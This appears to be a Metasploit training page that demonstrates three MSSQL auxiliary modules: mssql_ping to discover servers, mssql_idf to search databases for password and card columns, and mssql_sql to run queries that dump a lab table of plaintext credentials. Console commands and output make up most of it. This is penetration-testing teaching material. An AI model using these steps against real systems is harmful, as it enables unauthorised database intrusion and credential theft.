Scanner MSSQL Auxiliary Modules a11y.text Scanner MSSQL Auxiliary Modules mssql_ping a11y.text mssql_ping The mssql_ping module queries a host or range of hosts on UDP port 1434 to determine the listening TCP port of any MSSQL server, if available. MSSQL randomizes the TCP port that it listens on so this is a very valuable module in the Framework. msf > use auxiliary/scanner/mssql/mssql_ping

msf auxiliary(mssql_ping) > show options

Module options (auxiliary/scanner/mssql/mssql_ping):

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target address range or CIDR identifier
TDSENCRYPTION	false	yes	Use TLS/SSL for TDS data "Force Encryption"
THREADS	1	yes	The number of concurrent threads
USERNAME	sa	no	The username to authenticate as
USE_WINDOWS_AUTHENT	false	yes	Use windows authentification (requires DOMAIN option set) To configure the module, we set the RHOSTS and THREADS values and let it run against our targets. msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.200-254

RHOSTS => 192.168.1.200-254

msf auxiliary(mssql_ping) > set THREADS 20

THREADS => 20

msf auxiliary(mssql_ping) > run

[*] Scanned 13 of 55 hosts (023% complete)

[*] Scanned 16 of 55 hosts (029% complete)

[*] Scanned 17 of 55 hosts (030% complete)

[*] SQL Server information for 192.168.1.217:

[*] tcp = 27900

[*] np = \\SERVER2\pipe\sql\query

[*] Version = 8.00.194

[*] InstanceName = MSSQLSERVER

[*] IsClustered = No

[*] ServerName = SERVER2

[*] SQL Server information for 192.168.1.241:

[*] tcp = 1433

[*] np = \\2k3\pipe\sql\query

[*] Version = 8.00.194

[*] InstanceName = MSSQLSERVER

[*] IsClustered = No

[*] ServerName = 2k3

[*] Scanned 32 of 55 hosts (058% complete)

[*] Scanned 40 of 55 hosts (072% complete)

[*] Scanned 44 of 55 hosts (080% complete)

[*] Scanned 45 of 55 hosts (081% complete)

[*] Scanned 46 of 55 hosts (083% complete)

[*] Scanned 50 of 55 hosts (090% complete)

[*] Scanned 55 of 55 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(mssql_ping) > As can be seen from the module output, not only does it return the listening TCP port, it returns other valuable information such as the InstanceName and ServerName values. mssql_idf a11y.text mssql_idf The mssql_idf (Interesting Data Finder) module will connect to

a remote MSSQL server using a given set of credentials and search for rows and columns with interesting names. This information can help you fine-tune further attacks against the database. msf > use auxiliary/admin/mssql/mssql_idf

msf auxiliary(mssql_idf) > show options

Module options (auxiliary/admin/mssql/mssql_idf):

Name	Current Setting	Required	Description
NAMES	passw|bank|credit|card	yes	Pipe separated list of column names
PASSWORD		no	The password for the specified username
RHOST		yes	The target address
RPORT	1433	yes	The target port
USERNAME	sa	no	The username to authenticate as To configure the module,

we will set it to look for field names of â€˜usernameâ€™ and â€˜passwordâ€™, along with a known password for the system, and our RHOST value. msf auxiliary(mssql_idf) > set NAMES username|password

NAMES => username|password

msf auxiliary(mssql_idf) > set PASSWORD password1

PASSWORD => password1

msf auxiliary(mssql_idf) > set RHOST 192.168.1.195

RHOST => 192.168.1.195

msf auxiliary(mssql_idf) > run

Database Schema Table Column Data Type Row Count

======== ====== ============= ==================== ======== ========

======== ====== ============= ==================== ======== ========

msdb dbo sysmail_server username nvarchar 0

msdb dbo backupmediaset is_password_protected bit 0

msdb dbo backupset is_password_protected bit 0

logins dbo userpass username varchar 3

logins dbo userpass password varchar 3

[*] Auxiliary module execution completed

msf auxiliary(mssql_idf) > As can be seen in the module output, the scanner found our â€˜loginsâ€™ database with a â€˜userpassâ€™ table containing username and password columns. mssql_sql a11y.text mssql_sql The mssql_sql module allows you to perform SQL queries against a database using known-good credentials msf > use auxiliary/admin/mssql/mssql_sql

msf auxiliary(mssql_sql) > show options

Module options (auxiliary/admin/mssql/mssql_sql):

Name Current Setting Required Description

---- --------------- -------- -----------

PASSWORD no The password for the specified username

RHOST yes The target address

RPORT 1433 yes The target port (TCP)

SQL select @@version no The SQL query to execute

TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"

USERNAME sa no The username to authenticate as

USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set) To configure this module, we set our PASSWORD and RHOST values, then our desired SQL command, and let it run. msf auxiliary(mssql_sql) > set PASSWORD password1

PASSWORD => password1

msf auxiliary(mssql_sql) > set RHOST 192.168.1.195

RHOST => 192.168.1.195

msf auxiliary(mssql_sql) > set SQL use logins;select * from userpass

SQL => use logins;select * from userpass

msf auxiliary(mssql_sql) > run

[*] SQL Query: use logins;select * from userpass

[*] Row Count: 3 (Status: 16 Command: 193)

userid	username	password
1	bjohnson	password
2	aadams	s3cr3t
3	jsmith	htimsj

[*] Auxiliary module execution completed

msf auxiliary(mssql_sql) > Next Scanner IMAP Auxiliary Modules Prev Scanner MySQL Auxiliary Modules